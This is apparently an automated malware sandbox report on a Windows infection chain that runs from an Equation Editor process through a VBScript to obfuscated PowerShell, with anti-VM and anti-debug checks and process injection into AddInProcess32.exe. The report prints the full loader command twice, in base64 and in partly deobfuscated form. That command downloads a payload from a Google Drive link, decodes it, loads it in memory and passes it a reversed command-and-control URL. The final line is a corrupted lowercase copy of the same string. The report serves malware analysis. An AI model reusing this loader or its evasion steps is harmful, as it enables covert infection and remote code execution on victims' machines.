Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 1D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 970000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598502	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2454	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1167	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8724	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3720	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3980	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3952	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4000	Thread sleep count: 1167 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4000	Thread sleep count: 8724 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4052	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4056	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4056	Thread sleep time: -598502s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4056	Thread sleep time: -1800000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3212	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598502	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: AddInProcess32.exe, 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: AddInProcess32.exe, 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 9_2_001D5310 CheckRemoteDebuggerPresent,

9_2_001D5310

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_035604D9 mov edx, dword ptr fs:[00000030h]

2_2_035604D9

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdrrnzpbwfnzvvybccrjya9iccrj2d3mgh0dhbzoi8vzhjpdmuuz29vz2xllicrj2nvjysnbs91yz9lehankydvcnq9zg93bmxvywqmawq9mufjvmdkskp2muy2dlm0c1vpewjusc1zrccrj3zvaejzd3vyigd3mdtrrnynkyd3zwjdbgllbnqgpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2wnkydpzw50o2tgjysndmltyscrj2dlqnl0zxmgpsankydrrnz3zwjdbgllbnqujysnrg93bmxvywreyxrhkgtgdmltywdlvxjskttrrnzpbwfnzvrlehqgpsbbu3lzdgvtllrlehqurscrj25jb2rpbmddojpvvey4lkdldfn0cmlujysnzyhrrnzpbwfnzuj5dgvzkttrrnzzdgfydezsywcgpsbndza8pejbu0u2nf9tvefsvd4+z3cwo2tgdmvuzccrj0zsywcgpsbndza8pejbjysnu0u2nf9ftkq+pmd3mdtrrnzzdgfydeluzgunkyd4id0ga0z2aw1hz2vuzxh0lkluzgv4t2yoa0z2c3rhcnrgbgfnkttrricrj3zlbmrjbmrleca9igtgdmltywdlvgv4dc5jjysnbmrlee9mkgtgdmvuzezsjysnywcpo2tgdnn0yxj0sw5kzxgglwdlidaglscrj2enkyduzcbrrnzlbmrjbmrlecankyctz3qga0z2c3rhcnrjbmrledtrrnzzdgfydeluzgv4ics9igtgdnn0yxj0rmxhzy5mzw5ndgg7a0z2ymfzzty0tgvuz3roid0ga0z2zw5ksw5kzxgglsbrrnzzdgfydeluzgv4o2tgdmjhc2u2nenvbw1hbmqgpsbrrnzpbwfnzvrlehquu3vic3ryaw5nkgtgdnn0yxj0sw5kjysnzxgsigtgdmjhc2u2nexlbmd0ack7a0z2ymfzzty0umv2zxjzzwqgpsatam9pbiaoa0z2ymfzzty0q29tbwfuzc5ub0noyxjbcnjhesgpjysnihc1jysnyybgb3jfywnolu9iamvjdcb7igtgdl8gfslblteuli0oa0z2ymfzzty0q29tbwfuzc5mzw5ndggpxttrrnzjb21tyw5kqnl0zxmgpsbbu3lzdgvtlknvbnzlcnrdojpgcm9tjysnqmfzzty0u3ryaw5nkgtgdmjhc2u2nfjldmvyc2unkydkkttrrnzsb2fkzwrbc3nlbwjsesa9ifttexn0zscrj20uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqoa0z2y29tbwfuzej5dgvzkttrrnz2ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkgd3mfzbswd3mck7a0z2dmfptwv0ag9klkludm9rzshrrnynkydudwxslcbakgd3mhr4dc5hywfhywjld21hzgftlzmxljenkyczlji3ms43mccrjzevlzpwdhrojysnz3cwlcbndzbkzscrj3nhdgl2ywrvz3cwlcbndzbkzscrj3nhdgl2